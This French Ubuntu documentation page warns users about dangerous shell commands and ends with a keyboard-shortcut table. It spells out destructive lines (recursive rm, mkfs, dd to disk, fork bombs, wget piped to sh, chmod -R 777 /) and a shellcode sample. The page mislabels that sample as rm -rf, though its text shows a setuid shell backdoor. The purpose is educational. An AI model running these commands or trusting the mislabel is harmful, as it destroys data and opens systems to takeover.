Un doute ? Posez vos questions sur le forum : <http://forum.ubuntu-fr.org>

Règle n° 2 : NE JAMAIS ou du moins LE MOINS POSSIBLE OUVRIR NAUTILUS (LE GESTIONNAIRE DE FICHIERS) EN MODE SUPER UTILISATEUR (ROOT) VOUS POURRIEZ PERDRE VOS DONNÉES ET ENDOMMAGER VOTRE SYSTÈME.



Rendez-vous sur http://doc.ubuntu-fr.org/nutilus#ouvrir_un_fichier_en_tant_qu_administrateur pour voir la commande avec une astuce en prime !!

- La commande find peut aussi être dangereuse, avec son paramètre -exec qui permet d'exécuter une commande sur le résultat d'une recherche.

Par exemple, la commande suivante est très dangereuse : elle provoque la suppressions de tous les fichiers.

```
sudo find / -name «*» -exec rm {} \\;
```

De même pour rm qui est utilisé.

Re-formatage

Les données sur le périphérique mentionné après la commande mkfs seront détruites et remplacées par un système de fichier vide :

```
mkfs  
mkfs.ext3  
mkfs.QUELQUE_CHOSE
```

Manipulation de périphériques de stockage

Écrit des données sur le périphérique et peut entraîner la perte totale des données :

```
QUELQUE_COMMANDE > /dev/sda  
dd if=QUELQUE_CHOSE of=/dev/sda
```

Forkbomb

Exécute un grand nombre de processus jusqu'à ce que le système gèle, ce qui vous force à faire un arrêt brutal et peut causer la corruption du système, ou d'autres désagréments.

Avec le shell Bash :

```
:() { :|:&} ;:
```

En Perl :

```
perl -e «fork while fork»
```

Si vous voulez savoir comment se protéger contre les forks bombs allez voir sur http://doc.ubuntu-fr.org/tutoriel/comment_se_proteger_des_fork_bomb.

Tarbomb

Quelqu'un vous demande d'extraire une archive dans un répertoire existant. Cette archive tar peut être conçue pour exploser en un grand nombre de fichiers, voire écraser les fichiers de l'utilisateur qui



portent le même nom que ceux de l'archive. Vous devriez donc prendre l'habitude de décompresser des tar dans un nouveau répertoire vide.

Décompression bomb

Quelqu'un vous demande d'extraire une archive qui semble petite lors du téléchargement mais qui contient à la décompression des données d'une taille beaucoup plus considérable, au point de remplir votre disque dur. Vous ne devriez pas utiliser des données d'une source non-fiable.

Shell

Quelqu'un vous donne le lien vers un script shell à exécuter. Il peut contenir n'importe quelle commande (bénigne ou malveillante). Vous ne devriez pas exécuter du code de personnes à qui vous ne faites pas confiance :

```
 wget http://une_adresse/un_fichier  
 sh ./un_fichier
```

```
 wget http://une_adresse/un_fichier -O- | sh
```

Roulette russe

Une fois ce script lancé, vous avez une «chance» sur 6 pour que tous les fichiers à la racine de votre système soient effacés. Faites attention à ce script et ses variantes !

```
#!/bin/bash  
echo «>  
[ $[ $RANDOM % 6 ] == 0 ] && rm -fr / || echo «You live»  
exit 0
```

Compilation de code

Quelqu'un vous donne le code source et vous dit de le compiler. Il est facile de cacher du code malveillant dans un long code source, et le code source donne à l'attaquant beaucoup de possibilités pour déguiser son code malveillant. Vous ne devriez pas compiler ou exécuter le code compilé, à moins qu'il ne s'agisse d'une application bien connue, obtenue à partir d'un site réputé (SourceForge, les sites Ubuntu, etc.).

Par exemple :

```
char esp[] __attribute__ ((section(“.text”))) /* e.s.p  
release */  
= «\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68»  
«\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99»  
«\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7»  
«\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56»  
«\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31»  
«\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69»  
«\x6e\x2f\x73\x68\x00\x2d\x63\x00»  
«cp -p /bin/sh /tmp/.beyond; chmod 4755  
/tmp/.beyond»;
```



Ceci est la forme hexadécimale de rm -rf qui va détruire votre répertoire en tant que simple utilisateur, ou tous les fichiers en tant que root.

Changements de droits

```
chmod -R 777 /
```

Ceci donne les droits de lecture et d'écriture sur tous les fichiers. Or les commandes situées dans / bin ne supportent pas ce mode. Dans ce cas, il faut réattribuer la valeur o-w, il faut que vous ayez les droits u+w sur /tmp

Pour info : un / non modifié :

```
$ ls -al /
total 100
drwxr-xr-x  21 root root  4096 2009-07-15 09:39 .
drwxr-xr-x  21 root root  4096 2009-07-15 09:39 ..
drwxr-xr-x   2 root root  4096 2009-07-14 00:49 bin
drwxr-xr-x   3 root root  4096 2009-07-15 09:39 boot
lrwxrwxrwx   1 root root    11 2009-07-09 22:34 cdrom -> media/cdrom
drwxr-xr-x  17 root root  4920 2009-07-18 04:47 dev
drwxr-xr-x 144 root root 12288 2009-07-18 05:30 etc
drwxr-xr-x   3 root root  4096 2009-07-09 22:40 home
lrwxrwxrwx   1 root root    33 2009-07-15 09:39 initrd.img -> boot/initrd.
img-2.6.28-14-generic
lrwxrwxrwx   1 root root    33 2009-07-09 23:04 initrd.img.old -> boot/
initrd.img-2.6.28-13-generic
drwxr-xr-x  19 root root 12288 2009-07-17 21:58 lib
drwx-----  2 root root 16384 2009-07-09 22:34 lost+found
drwxr-xr-x   9 root root  4096 2009-07-18 04:42 media
drwxr-xr-x   2 root root  4096 2009-04-13 11:33 mnt
drwxr-xr-x   2 root root  4096 2009-04-20 15:59 opt
dr-xr-xr-x  177 root root     0 2009-07-18 06:35 proc
drwx-----  14 root root  4096 2009-07-18 05:10 root
drwxr-xr-x   2 root root  4096 2009-07-17 21:59 sbin
drwxr-xr-x   2 root root  4096 2009-03-06 17:21 selinux
drwxr-xr-x   2 root root  4096 2009-04-20 15:59 srv
drwxr-xr-x  12 root root     0 2009-07-18 06:35 sys
drwxrwxrwt  16 root root  4096 2009-07-18 05:17 tmp
drwxr-xr-x  13 root root  4096 2009-07-17 01:34 usr
drwxr-xr-x  16 root root  4096 2009-07-10 15:35 var
lrwxrwxrwx   1 root root    30 2009-07-15 09:39 vmlinuz -> boot/vmlinuz-
2.6.28-14-generic
lrwxrwxrwx   1 root root    30 2009-07-09 23:04 vmlinuz.old -> boot/
vmlinuz-2.6.28-13-generic
```

Plus généralement, attention aux changements de droits, surtout quand ils s'appliquent sur des dossiers. Par exemple un

```
chmod -R xxx /home/votre_utilisateur
```



peut vous obliger à recréer un compte utilisateur, vu que certains fichiers nécessitent des droits particuliers.

Ajout d'un mot de passe au compte

```
sudo passwd root
```

La commande «`sudo passwd root`» peut vous faire perdre vos droits sudo !!

Pour récupérer ses droits sudo sur son compte, se loguer en root («`su root`») et tapez :

```
adduser votre_username sudo
```

Conclusion

Encore une fois, il ne s'agit pas de donner une liste complète des commandes malveillantes, et il ne faut pas utiliser cette page comme une liste de vérification pour déterminer si une commande est dangereuse ou pas ! Cette page est simplement éducative, pour faire prendre conscience à l'utilisateur de la dangerosité potentielle du shell. Toute commande ne doit être exécutée que si elle est sûre et si l'on comprend ce que l'on fait.

Le meilleur moyen d'évaluer les risques est probablement l'utilisation de la commande `man`⁵.

Références

¹ http://doc.ubuntu-fr.org/tutoriel/comment_installer_un_paquet

² http://doc.ubuntu-fr.org/ls_couleur

³ http://doc.ubuntu-fr.org/installation/mount_fstab

⁴ <http://www.debian.org/doc/manuals/apt-howto/index.fr.html>

⁵ http://doc.ubuntu-fr.org/page_de_manuel

⁶ <http://ubuntuforums.org/announcement.php?f=359>

Contributeurs

- CyberSDF (<http://doc.ubuntu-fr.org/utilisateurs/cybersdf>)
- la_tite_gogole (http://doc.ubuntu-fr.org/utilisateurs/la_tite_gogole)
- tshirtman (<http://doc.ubuntu-fr.org/utilisateurs/tshirtman>)
- morgen_stern (http://doc.ubuntu-fr.org/utilisateurs/morgen_stern)
- Bogoris (<http://doc.ubuntu-fr.org/utilisateurs/bogoris>)
- Hoxus (<http://doc.ubuntu-fr.org/utilisateurs/hoxus>)
- Johndescs (<http://doc.ubuntu-fr.org/utilisateurs/johndescs>)
- jisee (<http://doc.ubuntu-fr.org/utilisateurs/jisee>)
- didrocks (<http://doc.ubuntu-fr.org/utilisateurs/didrocks>)

Basé sur « *ATTENTION ALL USERS: Malicious Commands*⁶ » par jdong.

Source

<http://doc.ubuntu-fr.org/>



notes

Action	Raccourcis clavier
Synchronisation des disques (pratique pour les applications en plein écran comme les jeux)	[Alt] [Syst] [S]
Stoppe les programmes gentiment	[Alt] [Syst] [E]
Tue tous les programmes	[Alt] [Syst] [I]
Disque principal en lecture seule	[Alt] [Syst] [U]
Redémarrage brutal de l'ordinateur	[Alt] [Syst] [B]
Arrêt brutal de l'ordinateur	[Alt] [Syst] [O]
Faire apparaître le menu de fenêtre	[Alt] [Espace]
Menu « Applications »	[Alt] [F1]
Lancer une commande	[Alt] [F2]
Fermer l'application ouverte	[Alt] [F4]
Annuler la maximisation et revenir à la taille initiale de la fenêtre	[Alt] [F5]
Maximiser une fenêtre	[Alt] [F10]
Réduire la fenêtre active	[Alt] [F9]
Déplacer la fenêtre	[Alt] [F7]
Redimensionner la fenêtre	[Alt] [F8]
Basculer d'une fenêtre à l'autre (si plusieurs fenêtres)	[Alt] [Tab]
Minimiser ou maximiser toutes les fenêtres pour voir ou cacher le bureau	[Ctrl] [Alt] [D]
Changer de bureau	[Ctrl] [Alt] [← ou →]
Changer de bureau la fenêtre active	[Ctrl] [Alt] [Shift] [← ou →]
Zoom	[Ctrl] + Molette souris
Déplacer une fenêtre	[Alt] + Bouton gauche souris
Redimensionner une fenêtre	[Alt] + Clic molette souris
Ouvre dans une autre fenêtre	Double-clic avec le bouton du milieu
Menu « Déplacer ici », « Copier ici », « Lier ici »	Glisser-déposer avec le bouton du milieu
Supprimer un fichier ou un répertoire sans passer par la corbeille (suppression définitive)	[Shift] [Suppr]
Afficher les fichiers cachés	[Ctrl] [H]
Remonter d'un niveau de répertoire	[←]
Revenir au répertoire utilisateur	[Alt] [Orig]